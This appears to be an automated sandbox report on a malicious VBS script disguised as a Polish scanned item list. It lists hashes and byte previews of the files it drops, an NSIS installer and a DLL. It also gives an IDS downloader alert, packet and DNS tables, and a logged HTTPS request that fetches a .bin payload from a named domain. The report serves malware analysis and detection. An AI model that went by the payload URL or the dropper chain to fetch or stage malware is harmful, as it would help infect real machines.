SSDEEP:	96:86MWYAl+kypSdltIrchSHlyxQid21fX2W/5EeW+Y:86rYA+kTh3h4id21fGG5EeW+Y
MD5:	50FAD5C454CB963B9FE90E52C94D7D1E
SHA1:	FAE94575F9F01D4C7EA5B71B33CE5C20E8F58780
SHA-256:	E1313B78830D596DAC0FA2BFE8801FD6E539DF8D1614CFAAC76712407F68646C
SHA-512:	C68B05A2E35E16733B966347E441E26531B1A6A9A777976E93F81191951110478490978B3D667F6E47AB4B271B9AD657F14F1834F0E085F0C238C5322E20743C
Malicious:	false
Preview:	..............@.................................e.................r...................P...................n..........h..............................H.................................:.................O......'......................:...............................j.......................................................................=..................M...................Z............................0................................R.......................................................u.......}........................T............................................................,........................S...........t3.......N..............k.........................m...J..........................................l.......................h.........g8..........................................u..............................................................H...........................=.......................................=.............].................y].....................................

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\aftalekalendere.ave

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	data
Category:	dropped
Size (bytes):	271412
Entropy (8bit):	1.2583214297628365
Encrypted:	false
SSDEEP:	768:ss00Zex8KPD3fpe9j0LVj5L9Vxok4D6BHZRMfam5N6dYaR+jWeaybNw1J3h91qpV:LajLVfVCWiNP8oyZe3r
MD5:	0011B4FCEA11597D004FEBE62052FC53
SHA1:	69934B76F8F98A59E8F198E361586FAAA5BA51BC
SHA-256:	4F69039FD8F163A715A6A5C2216308A008BBB9685B62F7896E36553F7DAFF7C2
SHA-512:	347B5123DACB39683D1BC4CB39F3F556C2110AB712A627BEAB8529C2A80BDD35C303921BABB433682978DA4FDE6A83C88F2FD96668DAA41EC1C7DD6AA4AAFACB
Malicious:	false
Preview:	.................................w.8.................................................l.....r..........g...............................................^............K........N...........................................i...#.......................}...........................................`...........................................................q.................................................................M.................................J............................................................................................................................2..............................._................>...c.B......................................................................'.........................".......................................................&.........I..................................................................................................................................,.........H.......................................{...@.......................

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\energiraads.ref

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	data
Category:	dropped
Size (bytes):	257617
Entropy (8bit):	1.246099982169644
Encrypted:	false
SSDEEP:	768:i0+x7CVav80s+kp4+TGeBEOLQviryD5YJ+i6LOmdmpBnVd5rl2ikTRlQlDZDCJN0:HHgo2O3/JQOBPiHdtO9T9t
MD5:	35283846FDE3D302BF4504D08C68E427
SHA1:	1889C48CBDCEBC6B10EC791494720AB420409897
SHA-256:	FFA02D9E8099ED157EC815E544926014C529B9F51EE1788B8FD9968B3D799049
SHA-512:	3C948EC1B4A530ADAB90E0AAF23C96DA49FC17FBCC3FF0B2DD9505C52CBFFDE3502CEAAD91E0D6534F6AFD332557CD90F5D60BD8C81560A4CBAF387B9B501C18
Malicious:	false
Preview:	...........p....:......[........P.........................z.................+...............$..F..........................................#..............................................................................................................N.....................`...............................................N................................z..........k.-............................................................................q.p%.........nt..................;...........{...........................................................+.......................q......W......................}...........A.................g..............D......z..;..........................1.......................................................h.......r..............................................I.............................F...............F............&........................X.........................................<.............}............Z..T................................9.........%......

C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.97694153396788
Encrypted:	false
SSDEEP:	192:acA1YOTDExj7EFrYCT4E8y3hoSdtTgwF43E7QbGPXI9uIc6w79Mw:RR7SrtTv53tdtTgwF4SQbGPX36wJMw
MD5:	D6F54D2CEFDF58836805796F55BFC846
SHA1:	B980ADDC1A755B968DD5799179D3B4F1C2DE9D2D
SHA-256:	F917AEF484D1FBB4D723B2E2D3045CB6F5F664E61FBB3D5C577BD1C215DE55D9
SHA-512:	CE67DA936A93D46EF7E81ABC8276787C82FD844C03630BA18AFC3528C7E420C3228BFE82AEDA083BB719F2D1314AFAE913362ABD1E220CB364606519690D45DB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: mbdcKkZ3Ag.exe, Detection: malicious, Browse Filename: mbdcKkZ3Ag.exe, Detection: malicious, Browse Filename: mydreamudpate.hta, Detection: malicious, Browse Filename: Thermo Fisher RFQ_TFS-1507.xls, Detection: malicious, Browse Filename: BCXV7eBAlV.exe, Detection: malicious, Browse Filename: W9RpT8yapE.hta, Detection: malicious, Browse Filename: BCXV7eBAlV.exe, Detection: malicious, Browse Filename: AWB 9869692024 Clearance Doc.exe, Detection: malicious, Browse Filename: AWB 9869692024 Clearance Doc.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@t.]!..]!..]!...T..Z!...Y..Z!..]!..I!...T..Y!...T..\!...T..\!...T..\!..Rich]!..................PE..L.....*c.........."!.....$..........J........@...............................p............@..........................@.......A..P............................`.......................................................@..X............................text...{".......$.................. ..`.rdata.......@.......(..............@..@.data...D....P.......,..............@....reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\temp_executable.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	830512
Entropy (8bit):	7.741676173417688
Encrypted:	false
SSDEEP:	12288:2RfuTA5o9DiPijqt3zyBfYCZgCgkRWQsv4L64Ay7wltm4pMTiCltKYE/oVVqD3EG:AfuTVCt3zyeOfswGpm4OfeoVVqD3EG
MD5:	C9B895E1253AA2B7147BE9B1E43F2DBD
SHA1:	9EF2D92E0917B65DEE0A3D45872BE70992AC0882
SHA-256:	C087B6B42EA2FA23894C1E4928D7EB6D312F4769635BFB9B22EF23A09444FA0D
SHA-512:	B3493B7C9BA0E88319BF2A413C53873AB5CC8D9D1B7155FAE907D41FACD2A959FED68F5A84AE044406CC3F7143D9294C16274CE7E182B723CC55CDAE91399601
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7..!smersmersmer8.asqmer8.csrmer8.ds\|mersmdr.mer..asxmer...rrmer..gsrmerRichsmer........PE..L...?.c.................n..........6............@.......................................@..........................................P...L..........X................................................................................................text...wl.......n.................. ..`.rdata...............r..............@..@.data...............................@....ndata...................................rsrc....L...P...N..................@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (65399), with CRLF line terminators
Entropy (8bit):	5.698921339858924
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Zeskanowana lista przedmiot#U00f3w nr 84329.vbs
File size:	1'306'825 bytes
MD5:	66ccc86e92b90555bef9ec7f4281cc8b
SHA1:	8ef7f0bec3beb48df154b350cae7729df9e3cb74
SHA256:	6e435f3a080733d5733beb10fd0d45f8530f9f5ebf8367ff1b4daf56d0106dc3
SHA512:	89d225f726add2f44a33a8dd85ceb89a2fd6e526586e079ad62247659766337367888376f0d44b1eb936103ca0d499a59c6fb11a3aeb9fe3e60e7c72ed218b2e
SSDEEP:	24576:aYQfEcXSFMuTGp2jdvB8S+QrShBYxfcFme3Frt0yOL09jFxzUA8cP51Xq:AccYMx7h6kuQq
TLSH:	A055E198CF276E58A41711BC8A0B2B466CFC8DBC8269EFE8E55C345859D0E79133B3D4
File Content Preview:	' Main script logic for processing Base64-encoded data....' Initialize the Base64 encoded string (placeholder)..Dim encodedBase64String..encodedBase64String = "));;;qQ@@@@M@@@@@@@@E@@@@@@@@//8@@@@Lg@@@@@@@@@@@@@@@@@@Q@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T17:20:28.125456+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49755	170.249.236.53	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 17:20:27.554327011 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:27.554461002 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:27.554644108 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:27.591285944 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:27.591363907 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:27.872036934 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:27.872275114 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:27.907449007 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:27.907536030 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:27.908664942 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:27.908906937 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:27.911031008 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:27.952291012 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.125596046 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.125972033 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.126032114 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.126302958 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.245718002 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.245727062 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.245795965 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.245906115 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.245906115 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.245933056 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.245950937 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.245950937 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.245999098 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.246033907 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.246085882 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.246097088 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.246114969 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.246201992 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.246201992 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.246279001 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.246279001 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.246345997 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366190910 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.366209030 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.366338968 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366338968 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366391897 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366431952 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366431952 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366447926 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.366481066 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366555929 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.366576910 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.366581917 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366595984 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.366684914 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366684914 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366734028 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366734028 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366734028 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366734028 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366781950 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366781950 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366831064 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.366831064 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.367007971 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.367023945 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.367153883 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.367153883 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.367202044 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.367202044 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.367300034 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.367300034 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.367314100 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.367451906 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486103058 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.486145020 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.486308098 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486308098 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486334085 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.486347914 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486423969 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486423969 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486495018 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.486516953 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.486529112 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486557961 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.486681938 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486682892 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486753941 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486753941 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486753941 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.486802101 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.487013102 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.487035036 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.487195969 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.487313032 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.487323999 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.487468958 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.487694979 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.487864971 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.487888098 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.487947941 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.487968922 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.488017082 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488017082 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488065004 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488065004 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488065004 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488106012 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.488291025 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.488293886 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488293886 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488322020 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488322020 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488337040 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.488419056 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488419056 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488466978 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488497972 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.488514900 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488564968 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488571882 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.488663912 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488663912 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488663912 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488760948 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.488821983 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.608977079 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.609051943 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.609216928 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.609216928 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.609265089 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.609286070 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.609286070 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.609286070 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.609525919 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.609769106 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.609827042 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.609998941 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.609998941 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.610035896 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.610055923 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.610138893 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.610193968 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.610435963 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.610488892 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.610661030 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.610661983 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.610685110 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.610765934 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.610862017 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.611215115 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.611258030 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.611403942 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.611403942 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.611490011 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.611490011 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.611521959 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.611545086 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.611686945 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.611845016 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.611891031 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612009048 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612009048 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612047911 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612065077 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612097025 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612097025 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612219095 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612237930 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612255096 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612319946 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612431049 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612431049 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612451077 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612481117 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612482071 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612576008 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612624884 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612684011 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612730026 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612818956 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612818956 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612868071 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612868071 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612868071 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612868071 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612893105 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.612919092 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612920046 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612920046 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612920046 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.612966061 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613064051 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613068104 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613090038 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613195896 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613195896 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613215923 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613244057 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613244057 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613295078 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613295078 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613326073 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613343954 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613343954 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613343954 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613399982 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613413095 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613440990 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613461018 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613538980 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613567114 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613600016 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613600969 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613651037 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613651991 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613651991 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613651991 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613742113 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613802910 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613938093 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613938093 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.613974094 CEST	443	49755	170.249.236.53	192.168.11.20
Sep 25, 2024 17:20:28.613986015 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.614034891 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.614034891 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.614131927 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.614180088 CEST	49755	443	192.168.11.20	170.249.236.53
Sep 25, 2024 17:20:28.614202976 CEST	443	49755	170.249.236.53	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 17:20:26.996191978 CEST	65098	53	192.168.11.20	1.1.1.1
Sep 25, 2024 17:20:27.549354076 CEST	53	65098	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 17:20:26.996191978 CEST	192.168.11.20	1.1.1.1	0xc3ea	Standard query (0)	secretspark.com.bd	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 17:20:27.549354076 CEST	1.1.1.1	192.168.11.20	0xc3ea	No error (0)	secretspark.com.bd		170.249.236.53	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

secretspark.com.bd

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49755	170.249.236.53	443	4004	C:\Users\user\AppData\Local\Temp\temp_executable.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 15:20:27 UTC	187	OUT	GET /TkFvuYGGiJLZuopqvpi7.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: secretspark.com.bd Cache-Control: no-cache
